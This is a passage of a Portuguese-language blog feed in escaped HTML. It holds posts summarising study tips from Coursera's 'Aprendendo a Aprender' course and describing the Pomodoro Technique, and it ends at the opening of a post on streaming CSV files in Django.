estudar engenharia! Hoje, ela tem um currículo invejável, que passa por disciplinas
tão distantes quanto Letras, Engenharia e Biologia. É PhD, professora de Engenharia
na Universidade de Oakland, em Rochester, Michigan. Sua pesquisa atualmente
se concentra na complexa relação entre neurociência e comportamento social.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;É com esse gabarito todo que &lt;em&gt;Barbara&lt;/em&gt;, acompanhada de
&lt;a href=&quot;https://en.wikipedia.org/wiki/Terry_Sejnowski&quot; title=&quot;Conheça Terry&quot;&gt;&lt;em&gt;Terrence Sejnowski&lt;/em&gt;&lt;/a&gt;,
dá o curso através da plataforma &lt;em&gt;Coursera&lt;/em&gt;, &lt;strong&gt;totalmente grátis&lt;/strong&gt;.
Mesmo que você (assim como eu) não tenha a pretensão de virar um estudioso, eu super recomendo!&lt;/p&gt;
&lt;p&gt;Abaixo, com ajuda de algumas referências espalhadas pela &lt;em&gt;web&lt;/em&gt;, eu relembro alguns
conceitos que aprendi durante as 4 semanas de curso.&lt;/p&gt;
&lt;h2&gt;Combata a procrastinação&lt;/h2&gt;
&lt;p&gt;Sair de inércia é um desafio imenso (pelo menos pra mim). Não importa o quão
recompensador ou empolgante for a tarefa, meu cérebro entende que ir pro
&lt;em&gt;Netflix&lt;/em&gt; sempre trará resultados maiores.&lt;/p&gt;
&lt;p&gt;É um comportamento comum: Focamos no resultado final, e o resultado final não é
fácil de atingir imediatamente. Ao contrário da satisfação instantânea de assistir a um seriado.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A dica é:&lt;/strong&gt; Foque no processo. Ao invés de &quot;preciso aprender XYZ&quot;, prefira
&quot;vou dedicar 1 hora aprendendo XYZ, começando por Y&quot;. O (supracitado)
&lt;em&gt;Pomodoro Technique&lt;/em&gt; pode te ajudar com isso.&lt;/p&gt;
&lt;p&gt;E Lembre-se: &quot;Um pouco&quot; é melhor que nada.&lt;/p&gt;
&lt;h2&gt;Aprenda de forma ativa&lt;/h2&gt;
&lt;p&gt;Procure relembrar! Nem só ler, ou copiar, ou ainda usar &quot;caneta marca texto&quot;.
Quantos livros você já leu e tava tão focado em acabá-lo que semanas depois não
era mais capaz de lembrar dos detalhes da trama?&lt;/p&gt;
&lt;p&gt;Absorver o conteúdo de forma passiva é outra &quot;traquinagem&quot; do nosso cérebro.
A sensação de progresso é reconfortante, mas outra vez estamos cometendo o pecado
de focar no resultado final e não no processo.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A dica é:&lt;/strong&gt; Relembre. Explique o que você acabou de aprender para você mesmo ou
algum amigo. Relembre as principais ideias em um lugar diferente daquele no qual você costuma aprender.&lt;/p&gt;
&lt;p&gt;E por mais clichê que possa parecer, teste os seus conhecimentos. Isso será
crucial para que você seja capaz de revisitar pontos dos quais ainda possui dúvidas.&lt;/p&gt;
&lt;h2&gt;&quot;Indexe&quot; o conteúdo que você está aprendendo&lt;/h2&gt;
&lt;p&gt;Para aprender a tocar uma música, é mais fácil separá-la em partes (intro, verso, refrão, etc)
e praticar parte por parte, até que você seja capaz de &quot;amarrá-las&quot; e tocá-la por inteiro.&lt;/p&gt;
&lt;p&gt;Podemos usar a mesma analogia (e fazer analogias é uma boa ferramenta para entender conteúdos)
para o processo de aprendizado como um todo: É mais eficaz quebrarmos um
determinado tema em conteúdos menores e iterativamente aprendê-los.&lt;/p&gt;
&lt;p&gt;Voltando ao exemplo da música. Quando estamos aprendendo a tocar o refrão
nossa memória de curto prazo (que tem pouco poder de armazenamento) é completamente
preenchida pelos acordes que o compõe. Através da repetição, conseguimos
&quot;dar significado&quot; àquele bloco até chegar o momento em que não pensamos
mais nos acordes em si, e sim no &quot;bloco como um todo&quot;.&lt;/p&gt;
&lt;p&gt;Trazendo pro lado da &lt;em&gt;TI&lt;/em&gt;, é quase como &quot;zipar&quot; o conhecimento e indexá-lo em
um banco de dados (que seria a nossa memória de longo prazo) através de uma
chave que faça muito sentido para nós.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A dica é:&lt;/strong&gt; Use analogias para dar maior significado a um determinado assunto.
Separe o conteúdo em pequenos grupos e aplique o processo de aprendizagem para cada um.&lt;/p&gt;
&lt;p&gt;E não envergonhe-se de técnicas como &quot;bem/mal, bom/mau&quot;.&lt;/p&gt;
&lt;h2&gt;Aprenda de forma espaçada&lt;/h2&gt;
&lt;p&gt;Por mais surpreendente que possa parecer, estudar 10 horas num dia não vai te
deixar mais preparado para uma prova que ocorrerá no dia seguinte, do que
estudar 1 hora em 10 dias. Isso segundo &lt;a href=&quot;https://www.theguardian.com/education/2009/feb/13/gcses-teaching&quot; title=&quot;A sixth of a GCSE in 60 minutes?&quot;&gt;&lt;em&gt;Douglas Fields&lt;/em&gt;&lt;/a&gt;,
que propõe que através de aprendizagem espaçada a informação entra de maneira
mais fácil na &lt;a href=&quot;https://drauziovarella.com.br/corpo-humano/memoria/&quot; title=&quot;Memória&quot;&gt;memória de longo prazo&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Além disso, seu cérebro precisa de descanso. Estudar horas a fio ou negligenciar
noites de sono pode trazer malefícios à saúde e principalmente ao seu
processo de aprendizagem. É através do sono, por exemplo, que o seu cérebro passa
por um &quot;período de manutenção&quot;, eliminando toxinas, fortalecendo memórias importantes
e descartando as menos importantes.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 640px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/fc9d05e0486545742dfa74774d00ba18/c08c5/social-network-algorithm.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 56.25%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAQFA//EABUBAQEAAAAAAAAAAAAAAAAAAAID/9oADAMBAAIQAxAAAAGTWkMlMGZN/wD/xAAdEAABAgcAAAAAAAAAAAAAAAAAAgMBBBIhMTJD/9oACAEBAAEFAtxh5FOTnLCrR//EABURAQEAAAAAAAAAAAAAAAAAAAIQ/9oACAEDAQE/ATP/xAAVEQEBAAAAAAAAAAAAAAAAAAACEP/aAAgBAgEBPwFT/8QAGRAAAgMBAAAAAAAAAAAAAAAAAAEREiEg/9oACAEBAAY/ArM3IJfH/8QAGxABAAMBAAMAAAAAAAAAAAAAAQARIUExYZH/2gAIAQEAAT8h1V92si2aHDzcW7ZbOfRBv2aQn//aAAwDAQACAAMAAAAQpx//xAAWEQEBAQAAAAAAAAAAAAAAAAARAAH/2gAIAQMBAT8QW6Tf/8QAFhEBAQEAAAAAAAAAAAAAAAAAAQAR/9oACAECAQE/EABZf//EABsQAQADAQADAAAAAAAAAAAAAAEAESExUWGx/9oACAEBAAE/EBRndAC/AEvKqDNYzqxfYAo9SvWwlWdLRLFDut/Z/9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Cursos de algorítmos do Coursera te farão querer afundar a cara nos livros (blogossus.com)&amp;quot;&quot;
        title=&quot;Cursos de algorítmos do Coursera te farão querer afundar a cara nos livros (blogossus.com)&quot;
        src=&quot;/static/fc9d05e0486545742dfa74774d00ba18/c08c5/social-network-algorithm.jpg&quot;
        srcset=&quot;/static/fc9d05e0486545742dfa74774d00ba18/7809d/social-network-algorithm.jpg 192w,
/static/fc9d05e0486545742dfa74774d00ba18/4ecad/social-network-algorithm.jpg 384w,
/static/fc9d05e0486545742dfa74774d00ba18/c08c5/social-network-algorithm.jpg 640w&quot;
        sizes=&quot;(max-width: 640px) 100vw, 640px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Cursos de algorítmos do Coursera te farão querer afundar a cara nos livros (blogossus.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;E quando você faz uma pausa, o cérebro entra no famigerado
&lt;a href=&quot;https://pt.coursera.org/learn/aprender/lecture/IeefW/introducao-aos-modos-difuso-e-focado&quot; title=&quot;Introdução aos Modos Difuso e Focado&quot;&gt;&quot;modo difuso&quot;&lt;/a&gt;.
Que pode ser (vulgarmente) explicado como ele trabalhando em segundo plano para
construir novos padrões neurais, ajudando-o a resolver problemas complexos, ter
novas ideias ou entender algo melhor.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A dica é:&lt;/strong&gt; Ao invés de estudar 5 horas nas quartas-feiras, estude 1 hora 5x na semana.
Descanse, faça pausas durante os estudos (olha o &lt;em&gt;Pomodoro&lt;/em&gt; aí de novo),
pratique exercícios, caminhe e quebre a rotina.&lt;/p&gt;
&lt;p&gt;E não subestime os &quot;eurekas&quot; durante o banho.&lt;/p&gt;
&lt;h2&gt;Tenha a sensação de progresso&lt;/h2&gt;
&lt;p&gt;Você não sobe numa esteira sem saber quantos quilômetros ou minutos
vai ficar correndo nela, certo? (Certo?)&lt;/p&gt;
&lt;p&gt;Seu cérebro sente-se premiado com a sensação reconfortante do progresso.
E embora exista o risco de cair nas armadilhas dos dois primeiros tópicos,
entender onde você quer chegar e saber o quanto você já caminhou é fundamental
para se manter motivado.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A dica é:&lt;/strong&gt; Pense de onde você veio e aonde quer chegar estudando determinado
assunto. &quot;Trackeie&quot; o seu progresso. Faça as coisas mais difíceis primeiro, a realização
delas te dará motivação para seguir em frente.&lt;/p&gt;
&lt;p&gt;Ter a sensação de progresso é um fator motivante. Não o subestime.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Eu recorri ao curso após falhar duas vezes seguidas nos testes de uma determinada
especialização do &lt;em&gt;Coursera&lt;/em&gt;. É bem verdade que algumas das técnicas acima
são bem conhecidas, mas eu nunca tive a noção do quanto elas (através de uma
forma pragmática) podem auxiliar no processo de aprendizagem de diferentes assuntos.&lt;/p&gt;
&lt;p&gt;Inclusive, esse artigo faz parte do meu processo de &lt;a href=&quot;http://noticias.universia.pt/ciencia-tecnologia/especial/2014/01/14/1074898/1/portugues-recebe-2-milhes-euros-investigar-mecanismos-memoria/consiste-chunking.html&quot; title=&quot;Em que é que consiste o Chunking?&quot;&gt;chunking&lt;/a&gt;
apresentado pelo próprio &quot;Aprendendo a Aprender&quot;. É algo que costumo fazer com
frequência: Ao aprender um conteúdo novo, eu escrevo sobre e compartilho. Isso
me motiva a fazer uma pesquisa maior e me faz relembrar conceitos, &quot;fixando&quot; melhor o assunto.&lt;/p&gt;
&lt;p&gt;Vários pontos importantes não foram abordados nesse &lt;em&gt;post&lt;/em&gt; (como construção de
redes neurais, diferença de memória de curto e longo prazo, como fazer &lt;em&gt;chunking&lt;/em&gt;,
aspectos visuais da memória e como tirar proveito disso, palácio das memórias, etc),
portanto saliento uma vez mais: &lt;a href=&quot;https://pt.coursera.org/learn/aprender&quot; title=&quot;Aprendendo a Aprender&quot;&gt;Não deixe de conferir o curso no &lt;em&gt;Cousera&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Aproveite também para conferir o &lt;a href=&quot;https://medium.com/@princessmiwi/um-resumo-do-curso-aprendendo-a-aprender-de-barbara-oakley-8d7253f51d21&quot; title=&quot;Um Resumo do Curso “Aprendendo a Aprender”, de Barbara Oakley&quot;&gt;bom artigo&lt;/a&gt; da &lt;em&gt;Cindy Dalfovo&lt;/em&gt; no &lt;em&gt;Medium&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Obs.: Não li o livro (de mesmo nome e autor), mas está bem avaliado na &lt;a href=&quot;https://www.amazon.com.br/Aprendendo-Aprender-Matem%C3%A1tica-Ci%C3%AAncias-Qualquer/dp/8586622451&quot; title=&quot;Aprendendo a Aprender. Como Ter Sucesso em Matemática, Ciências e Qualquer Outra Matéria&quot;&gt;&lt;em&gt;Amazon&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;#ficadica&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://www.abbc.org.br/cursos/artigo.asp?id=7&quot;&gt;ABBC Educacional - Aprender a aprender: 10 regras para estudar bem&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://medium.com/@eu.alexandre/aprendizagem-espa%C3%A7ada-o-m%C3%A9todo-que-tem-causado-muita-pol%C3%AAmica-a93bcea8c8f0&quot;&gt;Alexandre Afonso - Aprendizagem Espaçada… O Método Que Tem Causado Muita Polêmica&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pt.coursera.org/learn/aprender&quot;&gt;Coursera - Aprendendo a Aprender&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://lifehacker.com/5946606/improve-your-memory-with-the-chunking-technique&quot;&gt;Lifehacker - Improve Your Memory with The Chunking Technique&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://mel-meow.com/uma-longa-noite-aprendendo/&quot;&gt;mel-meow - Uma longa noite aprendendo&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://medium.com/@princessmiwi/um-resumo-do-curso-aprendendo-a-aprender-de-barbara-oakley-8d7253f51d21&quot;&gt;pricessmiwi - Um Resumo do Curso “Aprendendo a Aprender”, de Barbara Oakley&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://noticias.universia.pt/ciencia-tecnologia/especial/2014/01/14/1074898/1/portugues-recebe-2-milhes-euros-investigar-mecanismos-memoria/consiste-chunking.html&quot;&gt;Universia - Em que é que consiste o Chunking?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Pomodoro FTW!]]></title><description><![CDATA[Sim, meus amigos! O título poderia ser "esse é mais um post sobre Pomodoro Technique",
e embora haja toneladas de artigos na web sobre o…]]></description><link>https://klauslaube.com.br/2017/06/29/pomodoro-ftw.html</link><guid isPermaLink="false">https://klauslaube.com.br/2017/06/29/pomodoro-ftw.html</guid><pubDate>Thu, 29 Jun 2017 18:20:00 GMT</pubDate><content:encoded>&lt;p&gt;Sim, meus amigos! O título poderia ser &quot;esse é mais um post sobre Pomodoro Technique&quot;,
e embora haja toneladas de artigos na &lt;a href=&quot;/tag/desenvolvimento-web.html&quot; title=&quot;Leia mais sobre web&quot;&gt;&lt;em&gt;web&lt;/em&gt;&lt;/a&gt; sobre o assunto, me sinto na obrigação
de falar um pouquinho sobre ele aqui também. Afinal, além de ser uma prática simples e que
apresenta resultados, é ela que tem salvo a produtividade das minhas tardes de &lt;em&gt;home office&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Então prepare o seu &lt;em&gt;timer&lt;/em&gt; e vamos entender como essa técnica funciona.&lt;/p&gt;
&lt;h2&gt;25 minutos focados, 5 minutos de descanso&lt;/h2&gt;
&lt;p&gt;E vamos lá no oráculo da produtividade para entender o que é o &lt;em&gt;Pomodoro Technique&lt;/em&gt;.
Segundo o &lt;a href=&quot;http://lifehacker.com/&quot; title=&quot;Tips, tricks and downloads to get things done&quot;&gt;&lt;em&gt;Lifehacker&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;(...) is a cyclical system. You work in short sprints , which makes
sure you&apos;re consistently productive. You also get to take regular breaks
that bolster your motivation and keep you creative.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;É possível resumir a técnica inteira nos seguintes passos:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Escolha &lt;strong&gt;uma tarefa&lt;/strong&gt; que você queira concluir&lt;/li&gt;
&lt;li&gt;Configure o seu &lt;em&gt;timer&lt;/em&gt; para &lt;strong&gt;25 minutos&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Trabalhe nessa tarefa até o &lt;em&gt;timer&lt;/em&gt; despertar&lt;/li&gt;
&lt;li&gt;Faça uma pausa de &lt;strong&gt;5 minutos&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Repita do início&lt;/li&gt;
&lt;li&gt;A cada 4 &quot;sprints&quot; de 25 minutos, faça uma &lt;strong&gt;pausa de 15 minutos&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Esse é basicamente o &lt;em&gt;framework&lt;/em&gt; da técnica, sendo que existem algumas premissas fundamentais:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;O ato de &quot;trabalhar focado durante 25 minutos&quot; é chamado de &lt;em&gt;Pomodoro&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;O ideal é que uma tarefa seja grande o suficiente para caber dentro de um &lt;em&gt;Pomodoro&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;Embora não seja de senso comum, os tempos de trabalho focado e repouso podem ser adaptados. Por exemplo, eu costumo fazer pausas longas de 30 minutos ao invés de 15.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Durante cada &lt;em&gt;Pomodoro&lt;/em&gt;, feche o seu &lt;em&gt;Facebook&lt;/em&gt;, ignore o seu celular e foque completamente
no que precisa ser feito. Nos minutos de folga, usufrua de sua recompensa (redes sociais, &lt;em&gt;Youtube&lt;/em&gt;, uma passadinha no &lt;em&gt;9gag&lt;/em&gt; ou até mesmo aquele cafézinho).&lt;/p&gt;
&lt;h2&gt;Adestramento?&lt;/h2&gt;
&lt;p&gt;A técnica criada por &lt;a href=&quot;https://cirillocompany.de/&quot; title=&quot;Work smarter, not harder&quot;&gt;&lt;em&gt;Francesco Cirillo&lt;/em&gt;&lt;/a&gt; tem por objetivo te ajudar a melhorar
a concentração, evitar distrações e combater a procrastinação. E embora ela seja
amplamente recomendada, &lt;a href=&quot;https://productivityist.com/the-problem-with-the-pomodoro-technique/&quot; title=&quot;The Problem with The Pomodoro Technique&quot;&gt;não é vista com bons olhos por todo o mundo&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 640px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/4c1f0dd16eeb8f517488735f7ed4a17c/6af66/killer-tomatoes.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 68.75%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAIAAACgpqunAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC9UlEQVQoz0WS2W7bRhSGR9yGM9wXcRFFSiIpiyJNW7VkWZsr20rjyFubRbARx7ULpwUMZGkvepG2dpIGcHvRokGDoID7Fn2APltHyUUH52Zw5sP/nzM/oCi6UKAAKID5oWrVYCUPXUufX2iWouZFk6I5yHI1Q8hKwqIn5B7OPARomiHPnJK0sRW3FsPpZu/B7TSPXVkSAWnS/8M0wwY6ath8VsKLHsrLPPggS/mBki1beVrZGDbHw2a/mxzudAWOAwWGkIUCcccCwBLl1UhvOnzqoqaDwLwBKBbCab1yvWy/uRW/Wq9djcM3a96dosjMSVY19SDW6oF8sGr3GxbBCJzYEFAUsQ0GrU/+/eGXf4b1vyfh8wX9RSSc+2JXQg5HBJk0dyY7/vanpYUiDk2YOigjvMMDiiiz9G6ev9/YemrzmwbqKMLLTvllLN3X+UhFYSjkkaBqGPOwps0Nf4QTl5+vGEvikq5MILUjwS9s8VFZOnDFTOA8jtNkvloVJMRDmlMwIjNHplAzcKAJloIBD7FfMkeZ3amI445VFrBeYG2WywWY6HJWsVrV4mq9uBLZy2Exr5pZYES2Euiip4pg0O4NloJx1223rbWhlVZEl4exiXTEm4qaV7VBoiZlNQ3M2NOagZ4HRmwpVUPydQVsj9Zb9aCbVluR0Wvqvbq4nkrDBo6LUENMw+VVDMnOyIdBhrEkrGEecVAXceioYG+9uxQUTUjSg9tJJXHle2vudFA/21856JYjnZM5aMpCVtHvdMrP9hcPVkqWhGQRN3wD7E92m77lq9y4N7q3Nzu63by8mF4+2725Pv3z6vDb41HNUTgAHBGmvrlQNjxTVkREYscwHJh9ftZv95Oae3h4cXp0MpvUnj4a/fHj8burs3evz29+PX97eXx3ey2NfMjBwofMkNiR2CMegenm3mB1dPFw5/Fs+v3Xd29+Pjm/3//udPOvV6e/vfjy5vqb968fv708+f2noydfbc0+y30VlxTsawJZ+H+7RXXTERUnLwAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Não é o Ataque dos Tomates Assassinos, mas vai te ajudar a matar a procrastinação (killertomatoes.com)&amp;quot;&quot;
        title=&quot;Não é o Ataque dos Tomates Assassinos, mas vai te ajudar a matar a procrastinação (killertomatoes.com)&quot;
        src=&quot;/static/4c1f0dd16eeb8f517488735f7ed4a17c/6af66/killer-tomatoes.png&quot;
        srcset=&quot;/static/4c1f0dd16eeb8f517488735f7ed4a17c/8514f/killer-tomatoes.png 192w,
/static/4c1f0dd16eeb8f517488735f7ed4a17c/804b2/killer-tomatoes.png 384w,
/static/4c1f0dd16eeb8f517488735f7ed4a17c/6af66/killer-tomatoes.png 640w&quot;
        sizes=&quot;(max-width: 640px) 100vw, 640px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Não é o Ataque dos Tomates Assassinos, mas vai te ajudar a matar a procrastinação (killertomatoes.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Eu mesmo não sigo à risca os passos acima. Geralmente recorro ao &lt;em&gt;Pomodoro&lt;/em&gt; quando
estou com dificuldades de concentração, ou quando preciso encarar uma tarefa que é
muito penosa de se executar. Segundo o &quot;&lt;a href=&quot;https://pt.coursera.org/learn/aprender&quot; title=&quot;Ferramentas mentais poderosas para ajudá-lo a dominar assuntos difíceis&quot;&gt;Aprendendo a Aprender&lt;/a&gt;&quot;,
com auxílio da técnica você faz com que o seu cérebro foque na execução do processo ao invés de focar no resultado
da atividade (atingir os 25 minutos é muito mais palpável que finalizar aquele livro técnico
que você está levando meses para terminar e só está na página 13). Com isso, diminuímos aquela resistência natural de
&quot;hoje não, vou deixar para amanhã&quot; e driblamos a procrastinação.&lt;/p&gt;
&lt;p&gt;Outra coisa que eu não consigo fazer é quebrar as tarefas em tamanhos ideais para caberem
em um &lt;em&gt;Pomodoro&lt;/em&gt;. O que tem funcionado é gastar quantos &lt;em&gt;Pomodoros&lt;/em&gt; forem necessários
para mover uma &lt;em&gt;task&lt;/em&gt; de &lt;em&gt;DOING&lt;/em&gt; para &lt;em&gt;DONE&lt;/em&gt;. Além disso, se percebo que estou embalado no
raciocínio, negligencio algumas pausas e emendo os &lt;em&gt;sprints&lt;/em&gt; focados.&lt;/p&gt;
&lt;p&gt;Existe abertura para adaptação da técnica. Mas mesmo assim, ouço relatos de amigos e conhecidos
que tentaram usá-la e a acharam muito restritiva. Em alguns momentos ela chega a atrapalhar, é verdade,
mas na grande maioria das vezes foi a salvadora dos meus dias de &lt;em&gt;home office&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Ferramentas&lt;/h2&gt;
&lt;p&gt;O nome &lt;em&gt;Pomodoro&lt;/em&gt; vem do cronômetro gastronômico na forma de um tomate que
&lt;em&gt;Cirillo&lt;/em&gt; usava em suas sessões. E embora seja muito maneiro ter um &lt;em&gt;gadget&lt;/em&gt; desses
à disposição, qualquer cronômetro é o suficiente para praticar a técnica.&lt;/p&gt;
&lt;p&gt;Algumas fontes sugerem que &quot;quanto menos tecnologia, melhor&quot;. Mas eu prefiro confiar no
&lt;a href=&quot;https://itunes.apple.com/us/app/tomato-one-free-focus-timer/id907364780?mt=12&quot; title=&quot;Veja na App Store&quot;&gt;&lt;em&gt;Tomato One&lt;/em&gt;&lt;/a&gt;,
&lt;a href=&quot;http://www.moosti.com/&quot; title=&quot;Dê uma olhada na extensão para o Chrome&quot;&gt;&lt;em&gt;Moosti&lt;/em&gt;&lt;/a&gt; ou no &lt;a href=&quot;https://play.google.com/store/apps/details?id=com.AT.PomodoroTimer&amp;#x26;hl=pt_BR&quot; title=&quot;Timer para o Android&quot;&gt;&lt;em&gt;Brain Focus&lt;/em&gt;&lt;/a&gt;.
Ter uma noção de quantos &lt;em&gt;Pomodoros&lt;/em&gt; você está realizando te dará uma percepção melhor de progresso,
sendo possível averiguar se a técnica está funcionando ou não.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Sempre tive certo carinho por essa prática, principalmente após começar a trabalhar remoto. Ao contrário
do que muitos artigos vendem, ela não é uma técnica &quot;bala de prata&quot; e é provável que haja uma
grande resistência no início de sua adoção.&lt;/p&gt;
&lt;p&gt;Existem diferentes formas de &quot;getting things done&quot; e de dar &lt;em&gt;boost&lt;/em&gt; em sua concentração (você conhece o &lt;a href=&quot;https://www.noisli.com/&quot; title=&quot;Improve focus and boost productivity&quot;&gt;&lt;em&gt;Noisli&lt;/em&gt;&lt;/a&gt;?),
mas desconheço uma forma tão simples e pragmática quanto a Técnica &lt;em&gt;Pomodoro&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;(IMO) Vale a pena tê-la no seu &lt;em&gt;tool belt&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Até a próxima.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://pt.coursera.org/learn/aprender&quot;&gt;Coursera - Aprendendo a Aprender&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://lifehacker.com/productivity-101-a-primer-to-the-pomodoro-technique-1598992730&quot;&gt;Lifehacker - Productivity 101: A Primer to The Pomodoro Technique&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://productivityist.com/the-problem-with-the-pomodoro-technique/&quot;&gt;Productivityist - The Problem with The Pomodoro Technique&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://ramonkayo.com/ideias-e-opinioes/os-3-problemas-da-tecnica-pomodoro&quot;&gt;ramonkayo.com - Os 3 maiores problemas da Técnica Pomodoro e como contorná-los&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pt.wikipedia.org/wiki/T%C3%A9cnica_pomodoro&quot;&gt;Wikipedia - Técnica Pomodoro&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Streamando dados no Django]]></title><description><![CDATA[Recentemente na Loadsmart,
houve a necessidade de lidar com um cenário onde se faz necessário acessar uma view
que retorna um CSV de tamanho…]]></description><link>https://klauslaube.com.br/2017/05/14/streaming-dados-django.html</link><guid isPermaLink="false">https://klauslaube.com.br/2017/05/14/streaming-dados-django.html</guid><pubDate>Sun, 14 May 2017 15:45:00 GMT</pubDate><content:encoded>&lt;p&gt;Recentemente na &lt;a href=&quot;http://loadsmart.com/&quot; title=&quot;Book a truck with Loadsmart&quot;&gt;&lt;em&gt;Loadsmart&lt;/em&gt;&lt;/a&gt;,
houve a necessidade de lidar com um cenário onde se faz necessário acessar uma &lt;em&gt;view&lt;/em&gt;
que retorna um &lt;em&gt;CSV&lt;/em&gt; de tamanho considerável, gerado a partir de parâmetros dinâmicos,
no melhor esquema &quot;imprima um relatório&quot;.&lt;/p&gt;
&lt;p&gt;Embora o &lt;a href=&quot;/tag/django.html&quot; title=&quot;Leia mais sobre Django&quot;&gt;&lt;em&gt;Django&lt;/em&gt;&lt;/a&gt; seja desenhado para requisições curtas, existe a possibilidade
de fazer &lt;em&gt;streaming&lt;/em&gt; de grandes arquivos &lt;em&gt;CSVs&lt;/em&gt; através da classe &lt;code class=&quot;language-text&quot;&gt;StreamingHttpResponse&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Vale a nota: Esse artigo é sobre &lt;em&gt;CSVs&lt;/em&gt;, mas você também pode &lt;a href=&quot;http://stackoverflow.com/questions/30791228/serving-a-django-static-text-file&quot; title=&quot;Serving a django static text file&quot;&gt;&quot;streamar&quot; outros tipos de dados&lt;/a&gt;
através desse método supimpa.&lt;/p&gt;
&lt;h2&gt;Motivação&lt;/h2&gt;
